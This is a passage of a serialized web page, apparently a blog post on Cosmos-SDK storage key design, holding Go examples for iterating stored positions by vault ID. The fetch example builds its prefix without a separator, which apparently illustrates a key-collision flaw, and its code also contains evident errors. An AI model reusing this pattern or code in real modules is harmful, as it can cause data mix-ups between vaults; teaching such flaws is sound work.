9],{"type":23,"tag":504,"props":89860,"children":89861},{"emptyLinePlaceholder":15},[89862],{"type":29,"value":5734},{"type":23,"tag":504,"props":89864,"children":89865},{"class":5016,"line":25652},[89866,89870,89874],{"type":23,"tag":504,"props":89867,"children":89868},{"style":5030},[89869],{"type":29,"value":78365},{"type":23,"tag":504,"props":89871,"children":89872},{"style":5139},[89873],{"type":29,"value":88869},{"type":23,"tag":504,"props":89875,"children":89876},{"style":5058},[89877],{"type":29,"value":5512},{"type":23,"tag":504,"props":89879,"children":89880},{"class":5016,"line":25685},[89881,89885,89889],{"type":23,"tag":504,"props":89882,"children":89883},{"style":5041},[89884],{"type":29,"value":87310},{"type":23,"tag":504,"props":89886,"children":89887},{"style":5467},[89888],{"type":29,"value":78486},{"type":23,"tag":504,"props":89890,"children":89891},{"style":5058},[89892],{"type":29,"value":5557},{"type":23,"tag":504,"props":89894,"children":89895},{"class":5016,"line":25693},[89896,89900,89904,89908,89912,89916],{"type":23,"tag":504,"props":89897,"children":89898},{"style":5041},[89899],{"type":29,"value":87322},{"type":23,"tag":504,"props":89901,"children":89902},{"style":5058},[89903],{"type":29,"value":4367},{"type":23,"tag":504,"props":89905,"children":89906},{"style":5041},[89907],{"type":29,"value":88904},{"type":23,"tag":504,"props":89909,"children":89910},{"style":5058},[89911],{"type":29,"value":78292},{"type":23,"tag":504,"props":89913,"children":89914},{"style":5467},[89915],{"type":29,"value":86828},{"type":23,"tag":504,"props":89917,"children":89918},{"style":5058},[89919],{"type":29,"value":5557},{"type":23,"tag":504,"props":89921,"children":89922},{"class":5016,"line":25701},[89923,89927,89931,89935,89939],{"type":23,"tag":504,"props":89924,"children":89925},{"style":5058},[89926],{"type":29,"value":78447},{"type":23,"tag":504,"props":89928,"children":89929},{"style":5041},[89930],{"type":29,"value":74219},{"type":23,"tag":504,"props":89932,"children":89933},{"style":5058},[89934],{"type":29,"value":78292},{"type":23,"tag":504,"props":89936,"children":89937},{"style":5467},[89938],{"type":29,"value":86828},{"type":23,"tag":504,"props":89940,"children":89941},{"style":5058},[89942],{"type":29,"value":16850},{"type":23,"tag":504,"props":89944,"children":89945},{"class":5016,"line":25710},[89946,89950,89954,89958],{"type":23,"tag":504,"props":89947,"children":89948},{"style":5041},[89949],{"type":29,"value":87924},{"type":23,"tag":504,"props":89951,"children":89952},{"style":5047},[89953],{"type":29,"value":78481},{"type":23,"tag":504,"props":89955,"children":89956},{"style":5139},[89957],{"type":29,"value":87627},{"type":23,"tag":504,"props":89959,"children":89960},{"style":5058},[89961],{"type":29,"value":5512},{"type":23,"tag":504,"props":89963,"children":89964},{"class":5016,"line":25786},[89965,89969,89973],{"type":23,"tag":504,"props":89966,"children":89967},{"style":5058},[89968],{"type":29,"value":88518},{"type":23,"tag":504,"props":89970,"children":89971},{"style":5467},[89972],{"type":29,"value":86828},{"type":23,"tag":504,"props":89974,"children":89975},{"style":5058},[89976],{"type":29,"value":5557},{"type":23,"tag":504,"props":89978,"children":89979},{"class":5016,"line":25819},[89980,89984,89988,89992,89996,90000,90004,90008],{"type":23,"tag":504,"props":89981,"children":89982},{"style":5041},[89983],{"type":29,"value":88534},{"type":23,"tag":504,"props":89985,"children":89986},{"style":5058},[89987],{"type":29,"value":357},{"type":23,"tag":504,"props":89989,"children":89990},{"style":5139},[89991],{"type":29,"value":87664},{"type":23,"tag":504,"props":89993,"children":89994},{"style":5058},[89995],{"type":29,"value":603},{"type":23,"tag":504,"props":89997,"children":89998},{"style":5139},[89999],{"type":29,"value":11186},{"type":23,"tag":504,"props":90001,"children":90002},{"style":5058},[90003],{"type":29,"value":603},{"type":23,"tag":504,"props":90005,"children":90006},{"style":5041},[90007],{"type":29,"value":87534},{"type":23,"tag":504,"props":90009,"children":90010},{"style":5058},[90011],{"type":29,"value":87685},{"type":23,"tag":504,"props":90013,"children":90014},{"class":5016,"line":25827},[90015],{"type":23,"tag":504,"props":90016,"children":90017},{"style":5058},[90018],{"type":29,"value":25971},{"type":23,"tag":504,"props":90020,"children":90021},{"class":5016,"line":25835},[90022,90026,90030,90034,90038,90042,90046,90050],{"type":23,"tag":504,"props":90023,"children":90024},{"style":5041},[90025],{"type":29,"value":87655},{"type":23,"tag":504,"props":90027,"children":90028},{"style":5058},[90029],{"type":29,"value":357},{"type":23,"tag":504,"props":90031,"children":90032},{"style":5139},[90033],{"type":29,"value":87709},{"type":23,"tag":504,"props":90035,"children":90036},{"style":5058},[90037],{"type":29,"value":603},{"type":23,"tag":504,"props":90039,"children":90040},{"style":5041},[90041],{"type":29,"value":87618},{"type":23,"tag":504,"props":90043,"children":90044},{"style":5058},[90045],{"type":29,"value":4367},{"type":23,"tag":504,"props":90047,"children":90048},{"style":5041},[90049],{"type":29,"value":87534},{"type":23,"tag":504,"props":90051,"children":90052},{"style":5058},[90053],{"type":29,"value":5200},{"type":23,"tag":504,"props":90055,"children":90056},{"class":5016,"line":25872},[90057],{"type":23,"tag":504,"props":90058,"children":90059},{"emptyLinePlaceholder":15},[90060],{"type":29,"value":5734},{"type":23,"tag":504,"props":90062,"children":90063},{"class":5016,"line":25885},[90064,90068,90072,90076],{"type":23,"tag":504,"props":90065,"children":90066},{"style":5041},[90067],{"type":29,"value":89061},{"type":23,"tag":504,"props":90069,"children":90070},{"style":5047},[90071],{"type":29,"value":78481},{"type":23,"tag":504,"props":90073,"children":90074},{"style":5139},[90075],{"type":29,"value":87627},{"type":23,"tag":504,"props":90077,"children":90078},{"style":5058},[90079],{"type":29,"value":5512},{"type":23,"tag":504,"props":90081,"children":90082},{"class":5016,"line":25898},[90083,90087,90091],{"type":23,"tag":504,"props":90084,"children":90085},{"style":5058},[90086],{"type":29,"value":88518},{"type":23,"tag":504,"props":90088,"children":90089},{"style":5467},[90090],{"type":29,"value":86828},{"type":23,"tag":504,"props":90092,"children":90093},{"style":5058},[90094],{"type":29,"value":5557},{"type":23,"tag":504,"props":90096,"children":90097},{"class":5016,"line":25911},[90098,90102,90106,90110,90114,90118,90122,90126],{"type":23,"tag":504,"props":90099,"children":90100},{"style":5041},[90101],{"type":29,"value":88534},{"type":23,"tag":504,"props":90103,"children":90104},{"style":5058},[90105],{"type":29,"value":357},{"type":23,"tag":504,"props":90107,"children":90108},{"style":5139},[90109],{"type":29,"value":87664},{"type":23,"tag":504,"props":90111,"children":90112},{"style":5058},[90113],{"type":29,"value":603},{"type":23,"tag":504,"props":90115,"children":90116},{"style":5139},[90117],{"type":29,"value":11186},{"type":23,"tag":504,"props":90119,"children":90120},{"style":5058},[90121],{"type":29,"value":603},{"type":23,"tag":504,"props":90123,"children":90124},{"style":5041},[90125],{"type":29,"value":88904},{"type":23,"tag":504,"props":90127,"children":90128},{"style":5058},[90129],{"type":29,"value":87685},{"type":23,"tag":504,"props":90131,"children":90132},{"class":5016,"line":25965},[90133],{"type":23,"tag":504,"props":90134,"children":90135},{"style":5058},[90136],{"type":29,"value":25971},{"type":23,"tag":504,"props":90138,"children":90139},{"class":5016,"line":25974},[90140,90144,90148,90152,90156,90160,90164,90168],{"type":23,"tag":504,"props":90141,"children":90142},{"style":5041},[90143],{"type":29,"value":87655},{"type":23,"tag":504,"props":90145,"children":90146},{"style":5058},[90147],{"type":29,"value":357},{"type":23,"tag":504,"props":90149,"children":90150},{"style":5139},[90151],{"type":29,"value":87709},{"type":23,"tag":504,"props":90153,"children":90154},{"style":5058},[90155],{"type":29,"value":603},{"type":23,"tag":504,"props":90157,"children":90158},{"style":5041},[90159],{"type":29,"value":89154},{"type":23,"tag":504,"props":90161,"children":90162},{"style":5058},[90163],{"type":29,"value":4367},{"type":23,"tag":504,"props":90165,"children":90166},{"style":5041},[90167],{"type":29,"value":88904},{"type":23,"tag":504,"props":90169,"children":90170},{"style":5058},[90171],{"type":29,"value":5200},{"type":23,"tag":504,"props":90173,"children":90174},{"class":5016,"line":34336},[90175],{"type":23,"tag":504,"props":90176,"children":90177},{"emptyLinePlaceholder":15},[90178],{"type":29,"value":5734},{"type":23,"tag":504,"props":90180,"children":90181},{"class":5016,"line":34357},[90182,90186,90190,90194,90198,90202],{"type":23,"tag":504,"props":90183,"children":90184},{"style":5041},[90185],{"type":29,"value":88738},{"type":23,"tag":504,"props":90187,"children":90188},{"style":5047},[90189],{"type":29,"value":78481},{"type":23,"tag":504,"props":90191,"children":90192},{"style":5041},[90193],{"type":29,"value":84298},{"type":23,"tag":504,"props":90195,"children":90196},{"style":5058},[90197],{"type":29,"value":357},{"type":23,"tag":504,"props":90199,"children":90200},{"style":5139},[90201],{"type":29,"value":87286},{"type":23,"tag":504,"props":90203,"children":90204},{"style":5058},[90205],{"type":29,"value":5512},{"type":23,"tag":504,"props":90207,"children":90208},{"class":5016,"line":83015},[90209,90213],{"type":23,"tag":504,"props":90210,"children":90211},{"style":6297},[90212],{"type":29,"value":89763},{"type":23,"tag":504,"props":90214,"children":90215},{"style":5058},[90216],{"type":29,"value":5557},{"type":23,"tag":504,"props":90218,"children":90219},{"class":5016,"line":83028},[90220,90225],{"type":23,"tag":504,"props":90221,"children":90222},{"style":5041},[90223],{"type":29,"value":90224},"        AddressMapPrefix",{"type":23,"tag":504,"props":90226,"children":90227},{"style":5058},[90228],{"type":29,"value":5557},{"type":23,"tag":504,"props":90230,"children":90231},{"class":5016,"line":83036},[90232,90236],{"type":23,"tag":504,"props":90233,"children":90234},{"style":5041},[90235],{"type":29,"value":88778},{"type":23,"tag":504,"props":90237,"children":90238},{"style":5058},[90239],{"type":29,"value":5557},{"type":23,"tag":504,"props":90241,"children":90242},{"class":5016,"line":83044},[90243,90247],{"type":23,"tag":504,"props":90244,"children":90245},{"style":5041},[90246],{"type":29,"value":88790},{"type":23,"tag":504,"props":90248,"children":90249},{"style":5058},[90250],{"type":29,"value":5557},{"type":23,"tag":504,"props":90252,"children":90253},{"class":5016,"line":83052},[90254,90258],{"type":23,"tag":504,"props":90255,"children":90256},{"style":5041},[90257],{"type":29,"value":88802},{"type":23,"tag":504,"props":90259,"children":90260},{"style":5058},[90261],{"type":29,"value":5557},{"type":23,"tag":504,"props":90263,"children":90264},{"class":5016,"line":83092},[90265,90269],{"type":23,"tag":504,"props":90266,"children":90267},{"style":5041},[90268],{"type":29,"value":88790},{"type":23,"tag":504,"props":90270,"children":90271},{"style":5058},[90272],{"type":29,"value":5557},{"type":23,"tag":504,"props":90274,"children":90275},{"class":5016,"line":83100},[90276,90280],{"type":23,"tag":504,"props":90277,"children":90278},{"style":5041},[90279],{"type":29,"value":89263},{"type":23,"tag":504,"props":90281,"children":90282},{"style":5058},[90283],{"type":29,"value":5557},{"type":23,"tag":504,"props":90285,"children":90287},{"class":5016,"line":90286},60,[90288],{"type":23,"tag":504,"props":90289,"children":90290},{"style":5058},[90291],{"type":29,"value":25971},{"type":23,"tag":504,"props":90293,"children":90295},{"class":5016,"line":90294},61,[90296],{"type":23,"tag":504,"props":90297,"children":90298},{"style":5058},[90299],{"type":29,"value":5965},{"type":23,"tag":32,"props":90301,"children":90302},{},[90303],{"type":29,"value":90304},"We now have a proper example of how to serialize storage keys.",{"type":23,"tag":32,"props":90306,"children":90307},{},[90308,90310,90315],{"type":29,"value":90309},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":23,"tag":154,"props":90311,"children":90313},{"className":90312},[],[90314],{"type":29,"value":69165},{"type":29,"value":90316},", data should still be retrievable through original keys.",{"type":23,"tag":32,"props":90318,"children":90319},{},[90320,90322,90328,90330,90335],{"type":29,"value":90321},"Let's look at a case where we want to retrieve all ",{"type":23,"tag":154,"props":90323,"children":90325},{"className":90324},[],[90326],{"type":29,"value":90327},"map[Username]map[PositionName]Position",{"type":29,"value":90329}," associated with a ",{"type":23,"tag":154,"props":90331,"children":90333},{"className":90332},[],[90334],{"type":29,"value":87198},{"type":29,"value":90336}," from the storage. How can we safely accomplish this?",{"type":23,"tag":32,"props":90338,"children":90339},{},[90340,90342,90347,90349,90355],{"type":29,"value":90341},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":23,"tag":154,"props":90343,"children":90345},{"className":90344},[],[90346],{"type":29,"value":87269},{"type":29,"value":90348}," prefix. Below is an example of an attempt to fetch data with ",{"type":23,"tag":154,"props":90350,"children":90352},{"className":90351},[],[90353],{"type":29,"value":90354},"vaultId",{"type":29,"value":6533},{"type":23,"tag":4743,"props":90357,"children":90359},{"code":90358,"language":78229,"meta":7,"className":78230,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[90360],{"type":23,"tag":154,"props":90361,"children":90362},{"__ignoreMap":7},[90363,90379,90394,90443,90495,90524,90536,90582,90589,90635,90690,90697,90760,90821,90844,90863,90870,90877,90937,90996,91019,91038,91045,91052,91105,91153,91160,91167,91207,91236,91243,91250,91262],{"type":23,"tag":504,"props":90364,"children":90365},{"class":5016,"line":5017},[90366,90370,90375],{"type":23,"tag":504,"props":90367,"children":90368},{"style":5030},[90369],{"type":29,"value":78365},{"type":23,"tag":504,"props":90371,"children":90372},{"style":5139},[90373],{"type":29,"value":90374}," FetchPositionMapWithVaultId",{"type":23,"tag":504,"props":90376,"children":90377},{"style":5058},[90378],{"type":29,"value":5512},{"type":23,"tag":504,"props":90380,"children":90381},{"class":5016,"line":4868},[90382,90386,90390],{"type":23,"tag":504,"props":90383,"children":90384},{"style":5041},[90385],{"type":29,"value":87310},{"type":23,"tag":504,"props":90387,"children":90388},{"style":5467},[90389],{"type":29,"value":78486},{"type":23,"tag":504,"props":90391,"children":90392},{"style":5058},[90393],{"type":29,"value":5557},{"type":23,"tag":504,"props":90395,"children":90396},{"class":5016,"line":4876},[90397,90402,90406,90410,90414,90418,90422,90426,90430,90434,90439],{"type":23,"tag":504,"props":90398,"children":90399},{"style":5058},[90400],{"type":29,"value":90401},") ([]",{"type":23,"tag":504,"props":90403,"children":90404},{"style":5030},[90405],{"type":29,"value":69165},{"type":23,"tag":504,"props":90407,"children":90408},{"style":5058},[90409],{"type":29,"value":1380},{"type":23,"tag":504,"props":90411,"children":90412},{"style":5467},[90413],{"type":29,"value":87215},{"type":23,"tag":504,"props":90415,"children":90416},{"style":5058},[90417],{"type":29,"value":1422},{"type":23,"tag":504,"props":90419,"children":90420},{"style":5030},[90421],{"type":29,"value":69165},{"type":23,"tag":504,"props":90423,"children":90424},{"style":5058},[90425],{"type":29,"value":1380},{"type":23,"tag":504,"props":90427,"children":90428},{"style":5467},[90429],{"type":29,"value":87232},{"type":23,"tag":504,"props":90431,"children":90432},{"style":5058},[90433],{"type":29,"value":1422},{"type":23,"tag":504,"props":90435,"children":90436},{"style":5467},[90437],{"type":29,"value":90438},"Position",{"type":23,"tag":504,"props":90440,"children":90441},{"style":5058},[90442],{"type":29,"value":16850},{"type":23,"tag":504,"props":90444,"children":90445},{"class":5016,"line":5099},[90446,90451,90455,90459,90463,90467,90471,90475,90479,90483,90487,90491],{"type":23,"tag":504,"props":90447,"children":90448},{"style":5041},[90449],{"type":29,"value":90450},"    values",{"type":23,"tag":504,"props":90452,"children":90453},{"style":5047},[90454],{"type":29,"value":78481},{"type":23,"tag":504,"props":90456,"children":90457},{"style":5030},[90458],{"type":29,"value":51732},{"type":23,"tag":504,"props":90460,"children":90461},{"style":5058},[90462],{"type":29,"value":1380},{"type":23,"tag":504,"props":90464,"children":90465},{"style":5467},[90466],{"type":29,"value":87215},{"type":23,"tag":504,"props":90468,"children":90469},{"style":5058},[90470],{"type":29,"value":1422},{"type":23,"tag":504,"props":90472,"children":90473},{"style":5030},[90474],{"type":29,"value":69165},{"type":23,"tag":504,"props":90476,"children":90477},{"style":5058},[90478],{"type":29,"value":1380},{"type":23,"tag":504,"props":90480,"children":90481},{"style":5467},[90482],{"type":29,"value":87232},{"type":23,"tag":504,"props":90484,"children":90485},{"style":5058},[90486],{"type":29,"value":1422},{"type":23,"tag":504,"props":90488,"children":90489},{"style":5467},[90490],{"type":29,"value":90438},{"type":23,"tag":504,"props":90492,"children":90493},{"style":5058},[90494],{"type":29,"value":80161},{"type":23,"tag":504,"props":90496,"children":90497},{"class":5016,"line":5203},[90498,90503,90507,90511,90515,90520],{"type":23,"tag":504,"props":90499,"children":90500},{"style":5041},[90501],{"type":29,"value":90502},"    i",{"type":23,"tag":504,"props":90504,"children":90505},{"style":5047},[90506],{"type":29,"value":78481},{"type":23,"tag":504,"props":90508,"children":90509},{"style":5041},[90510],{"type":29,"value":80705},{"type":23,"tag":504,"props":90512,"children":90513},{"style":5058},[90514],{"type":29,"value":357},{"type":23,"tag":504,"props":90516,"children":90517},{"style":5139},[90518],{"type":29,"value":90519},"KVStorePrefixIterator",{"type":23,"tag":504,"props":90521,"children":90522},{"style":5058},[90523],{"type":29,"value":5512},{"type":23,"tag":504,"props":90525,"children":90526},{"class":5016,"line":5308},[90527,90532],{"type":23,"tag":504,"props":90528,"children":90529},{"style":5041},[90530],{"type":29,"value":90531},"        kvStore",{"type":23,"tag":504,"props":90533,"children":90534},{"style":5058},[90535],{"type":29,"value":5557},{"type":23,"tag":504,"props":90537,"children":90538},{"class":5016,"line":5336},[90539,90544,90548,90552,90556,90561,90565,90570,90574,90578],{"type":23,"tag":504,"props":90540,"children":90541},{"style":5041},[90542],{"type":29,"value":90543},"        fmt",{"type":23,"tag":504,"props":90545,"children":90546},{"style":5058},[90547],{"type":29,"value":357},{"type":23,"tag":504,"props":90549,"children":90550},{"style":5139},[90551],{"type":29,"value":87286},{"type":23,"tag":504,"props":90553,"children":90554},{"style":5058},[90555],{"type":29,"value":603},{"type":23,"tag":504,"props":90557,"children":90558},{"style":6297},[90559],{"type":29,"value":90560},"\"%s%d\"",{"type":23,"tag":504,"props":90562,"children":90563},{"style":5058},[90564],{"type":29,"value":4367},{"type":23,"tag":504,"props":90566,"children":90567},{"style":5041},[90568],{"type":29,"value":90569},"PositionMapPrefix",{"type":23,"tag":504,"props":90571,"children":90572},{"style":5058},[90573],{"type":29,"value":4367},{"type":23,"tag":504,"props":90575,"children":90576},{"style":5041},[90577],{"type":29,"value":90354},{"type":23,"tag":504,"props":90579,"children":90580},{"style":5058},[90581],{"type":29,"value":5200},{"type":23,"tag":504,"props":90583,"children":90584},{"class":5016,"line":5349},[90585],{"type":23,"tag":504,"props":90586,"children":90587},{"style":5058},[90588],{"type":29,"value":25971},{"type":23,"tag":504,"props":90590,"children":90591},{"class":5016,"line":5367},[90592,90596,90601,90605,90609,90614,90618,90622,90626,90631],{"type":23,"tag":504,"props":90593,"children":90594},{"style":5067},[90595],{"type":29,"value":5070},{"type":23,"tag":504,"props":90597,"children":90598},{"style":5058},[90599],{"type":29,"value":90600}," ; ",{"type":23,"tag":504,"props":90602,"children":90603},{"style":5041},[90604],{"type":29,"value":578},{"type":23,"tag":504,"props":90606,"children":90607},{"style":5058},[90608],{"type":29,"value":357},{"type":23,"tag":504,"props":90610,"children":90611},{"style":5139},[90612],{"type":29,"value":90613},"Valid",{"type":23,"tag":504,"props":90615,"children":90616},{"style":5058},[90617],{"type":29,"value":30502},{"type":23,"tag":504,"props":90619,"children":90620},{"style":5041},[90621],{"type":29,"value":578},{"type":23,"tag":504,"props":90623,"children":90624},{"style":5058},[90625],{"type":29,"value":357},{"type":23,"tag":504,"props":90627,"children":90628},{"style":5139},[90629],{"type":29,"value":90630},"Next",{"type":23,"tag":504,"props":90632,"children":90633},{"style":5058},[90634],{"type":29,"value":17783},{"type":23,"tag":504,"props":90636,"children":90637},{"class":5016,"line":5388},[90638,90643,90647,90652,90656,90660,90664,90668,90672,90677,90681,90686],{"type":23,"tag":504,"props":90639,"children":90640},{"style":5041},[90641],{"type":29,"value":90642},"        k",{"type":23,"tag":504,"props":90644,"children":90645},{"style":5047},[90646],{"type":29,"value":78481},{"type":23,"tag":504,"props":90648,"children":90649},{"style":5041},[90650],{"type":29,"value":90651}," strings",{"type":23,"tag":504,"props":90653,"children":90654},{"style":5058},[90655],{"type":29,"value":357},{"type":23,"tag":504,"props":90657,"children":90658},{"style":5139},[90659],{"type":29,"value":72106},{"type":23,"tag":504,"props":90661,"children":90662},{"style":5058},[90663],{"type":29,"value":603},{"type":23,"tag":504,"props":90665,"children":90666},{"style":5041},[90667],{"type":29,"value":578},{"type":23,"tag":504,"props":90669,"children":90670},{"style":5058},[90671],{"type":29,"value":357},{"type":23,"tag":504,"props":90673,"children":90674},{"style":5139},[90675],{"type":29,"value":90676},"Key",{"type":23,"tag":504,"props":90678,"children":90679},{"style":5058},[90680],{"type":29,"value":20425},{"type":23,"tag":504,"props":90682,"children":90683},{"style":5041},[90684],{"type":29,"value":90685},"Seperator",{"type":23,"tag":504,"props":90687,"children":90688},{"style":5058},[90689],{"type":29,"value":5200},{"type":23,"tag":504,"props":90691,"children":90692},{"class":5016,"line":5397},[90693],{"type":23,"tag":504,"props":90694,"children":90695},{"emptyLinePlaceholder":15},[90696],{"type":29,"value":5734},{"type":23,"tag":504,"props":90698,"children":90699},{"class":5016,"line":5649},[90700,90705,90709,90713,90718,90722,90726,90730,90734,90739,90743,90747,90751,90755],{"type":23,"tag":504,"props":90701,"children":90702},{"style":5041},[90703],{"type":29,"value":90704},"        username",{"type":23,"tag":504,"props":90706,"children":90707},{"style":5047},[90708],{"type":29,"value":78481},{"type":23,"tag":504,"props":90710,"children":90711},{"style":5139},[90712],{"type":29,"value":87627},{"type":23,"tag":504,"props":90714,"children":90715},{"style":5058},[90716],{"type":29,"value":90717},"([]",{"type":23,"tag":504,"props":90719,"children":90720},{"style":5467},[90721],{"type":29,"value":86828},{"type":23,"tag":504,"props":90723,"children":90724},{"style":5058},[90725],{"type":29,"value":4367},{"type":23,"tag":504,"props":90727,"children":90728},{"style":5041},[90729],{"type":29,"value":87700},{"type":23,"tag":504,"props":90731,"children":90732},{"style":5058},[90733],{"type":29,"value":357},{"type":23,"tag":504,"props":90735,"children":90736},{"style":5139},[90737],{"type":29,"value":90738},"DecodedLen",{"type":23,"tag":504,"props":90740,"children":90741},{"style":5058},[90742],{"type":29,"value":603},{"type":23,"tag":504,"props":90744,"children":90745},{"style":5041},[90746],{"type":29,"value":2092},{"type":23,"tag":504,"props":90748,"children":90749},{"style":5058},[90750],{"type":29,"value":1380},{"type":23,"tag":504,"props":90752,"children":90753},{"style":5083},[90754],{"type":29,"value":708},{"type":23,"tag":504,"props":90756,"children":90757},{"style":5058},[90758],{"type":29,"value":90759},"]))\n",{"type":23,"tag":504,"props":90761,"children":90762},{"class":5016,"line":5666},[90763,90767,90771,90775,90779,90784,90788,90793,90797,90801,90805,90809,90813,90817],{"type":23,"tag":504,"props":90764,"children":90765},{"style":5041},[90766],{"type":29,"value":29801},{"type":23,"tag":504,"props":90768,"children":90769},{"style":5058},[90770],{"type":29,"value":4367},{"type":23,"tag":504,"props":90772,"children":90773},{"style":5041},[90774],{"type":29,"value":50483},{"type":23,"tag":504,"props":90776,"children":90777},{"style":5047},[90778],{"type":29,"value":78481},{"type":23,"tag":504,"props":90780,"children":90781},{"style":5041},[90782],{"type":29,"value":90783}," hex",{"type":23,"tag":504,"props":90785,"children":90786},{"style":5058},[90787],{"type":29,"value":357},{"type":23,"tag":504,"props":90789,"children":90790},{"style":5139},[90791],{"type":29,"value":90792},"Decode",{"type":23,"tag":504,"props":90794,"children":90795},{"style":5058},[90796],{"type":29,"value":603},{"type":23,"tag":504,"props":90798,"children":90799},{"style":5041},[90800],{"type":29,"value":87534},{"type":23,"tag":504,"props":90802,"children":90803},{"style":5058},[90804],{"type":29,"value":4367},{"type":23,"tag":504,"props":90806,"children":90807},{"style":5041},[90808],{"type":29,"value":2092},{"type":23,"tag":504,"props":90810,"children":90811},{"style":5058},[90812],{"type":29,"value":1380},{"type":23,"tag":504,"props":90814,"children":90815},{"style":5083},[90816],{"type":29,"value":708},{"type":23,"tag":504,"props":90818,"children":90819},{"style":5058},[90820],{"type":29,"value":57502},{"type":23,"tag":504,"props":90822,"children":90823},{"class":5016,"line":5683},[90824,90828,90832,90836,90840],{"type":23,"tag":504,"props":90825,"children":90826},{"style":5067},[90827],{"type":29,"value":5314},{"type":23,"tag":504,"props":90829,"children":90830},{"style":5041},[90831],{"type":29,"value":50584},{"type":23,"tag":504,"props":90833,"children":90834},{"style":5047},[90835],{"type":29,"value":66449},{"type":23,"tag":504,"props":90837,"children":90838},{"style":5030},[90839],{"type":29,"value":83982},{"type":23,"tag":504,"props":90841,"children":90842},{"style":5058},[90843],{"type":29,"value":5333},{"type":23,"tag":504,"props":90845,"children":90846},{"class":5016,"line":5696},[90847,90851,90855,90859],{"type":23,"tag":504,"props":90848,"children":90849},{"style":5067},[90850],{"type":29,"value":81140},{"type":23,"tag":504,"props":90852,"children":90853},{"style":5030},[90854],{"type":29,"value":83982},{"type":23,"tag":504,"props":90856,"children":90857},{"style":5058},[90858],{"type":29,"value":4367},{"type":23,"tag":504,"props":90860,"children":90861},{"style":5041},[90862],{"type":29,"value":85703},{"type":23,"tag":504,"props":90864,"children":90865},{"class":5016,"line":5705},[90866],{"type":23,"tag":504,"props":90867,"children":90868},{"style":5058},[90869],{"type":29,"value":5394},{"type":23,"tag":504,"props":90871,"children":90872},{"class":5016,"line":5728},[90873],{"type":23,"tag":504,"props":90874,"children":90875},{"emptyLinePlaceholder":15},[90876],{"type":29,"value":5734},{"type":23,"tag":504,"props":90878,"children":90879},{"class":5016,"line":5737},[90880,90885,90889,90893,90897,90901,90905,90909,90913,90917,90921,90925,90929,90933],{"type":23,"tag":504,"props":90881,"children":90882},{"style":5041},[90883],{"type":29,"value":90884},"        positionName",{"type":23,"tag":504,"props":90886,"children":90887},{"style":5047},[90888],{"type":29,"value":78481},{"type":23,"tag":504,"props":90890,"children":90891},{"style":5139},[90892],{"type":29,"value":87627},{"type":23,"tag":504,"props":90894,"children":90895},{"style":5058},[90896],{"type":29,"value":90717},{"type":23,"tag":504,"props":90898,"children":90899},{"style":5467},[90900],{"type":29,"value":86828},{"type":23,"tag":504,"props":90902,"children":90903},{"style":5058},[90904],{"type":29,"value":4367},{"type":23,"tag":504,"props":90906,"children":90907},{"style":5041},[90908],{"type":29,"value":87700},{"type":23,"tag":504,"props":90910,"children":90911},{"style":5058},[90912],{"type":29,"value":357},{"type":23,"tag":504,"props":90914,"children":90915},{"style":5139},[90916],{"type":29,"value":90738},{"type":23,"tag":504,"props":90918,"children":90919},{"style":5058},[90920],{"type":29,"value":603},{"type":23,"tag":504,"props":90922,"children":90923},{"style":5041},[90924],{"type":29,"value":2092},{"type":23,"tag":504,"props":90926,"children":90927},{"style":5058},[90928],{"type":29,"value":1380},{"type":23,"tag":504,"props":90930,"children":90931},{"style":5083},[90932],{"type":29,"value":826},{"type":23,"tag":504,"props":90934,"children":90935},{"style":5058},[90936],{"type":29,"value":90759},{"type":23,"tag":504,"props":90938,"children":90939},{"class":5016,"line":5746},[90940,90944,90948,90952,90956,90960,90964,90968,90972,90976,90980,90984,90988,90992],{"type":23,"tag":504,"props":90941,"children":90942},{"style":5041},[90943],{"type":29,"value":29801},{"type":23,"tag":504,"props":90945,"children":90946},{"style":5058},[90947],{"type":29,"value":4367},{"type":23,"tag":504,"props":90949,"children":90950},{"style":5041},[90951],{"type":29,"value":50483},{"type":23,"tag":504,"props":90953,"children":90954},{"style":5047},[90955],{"type":29,"value":78481},{"type":23,"tag":504,"props":90957,"children":90958},{"style":5041},[90959],{"type":29,"value":90783},{"type":23,"tag":504,"props":90961,"children":90962},{"style":5058},[90963],{"type":29,"value":357},{"type":23,"tag":504,"props":90965,"children":90966},{"style":5139},[90967],{"type":29,"value":90792},{"type":23,"tag":504,"props":90969,"children":90970},{"style":5058},[90971],{"type":29,"value":603},{"type":23,"tag":504,"props":90973,"children":90974},{"style":5041},[90975],{"type":29,"value":87803},{"type":23,"tag":504,"props":90977,"children":90978},{"style":5058},[90979],{"type":29,"value":4367},{"type":23,"tag":504,"props":90981,"children":90982},{"style":5041},[90983],{"type":29,"value":2092},{"type":23,"tag":504,"props":90985,"children":90986},{"style":5058},[90987],{"type":29,"value":1380},{"type":23,"tag":504,"props":90989,"children":90990},{"style":5083},[90991],{"type":29,"value":826},{"type":23,"tag":504,"props":90993,"children":90994},{"style":5058},[90995],{"type":29,"value":57502},{"type":23,"tag":504,"props":90997,"children":90998},{"class":5016,"line":5813},[90999,91003,91007,91011,91015],{"type":23,"tag":504,"props":91000,"children":91001},{"style":5067},[91002],{"type":29,"value":5314},{"type":23,"tag":504,"props":91004,"children":91005},{"style":5041},[91006],{"type":29,"value":50584},{"type":23,"tag":504,"props":91008,"children":91009},{"style":5047},[91010],{"type":29,"value":66449},{"type":23,"tag":504,"props":91012,"children":91013},{"style":5030},[91014],{"type":29,"value":83982},{"type":23,"tag":504,"props":91016,"children":91017},{"style":5058},[91018],{"type":29,"value":5333},{"type":23,"tag":504,"props":91020,"children":91021},{"class":5016,"line":5821},[91022,91026,91030,91034],{"type":23,"tag":504,"props":91023,"children":91024},{"style":5067},[91025],{"type":29,"value":81140},{"type":23,"tag":504,"p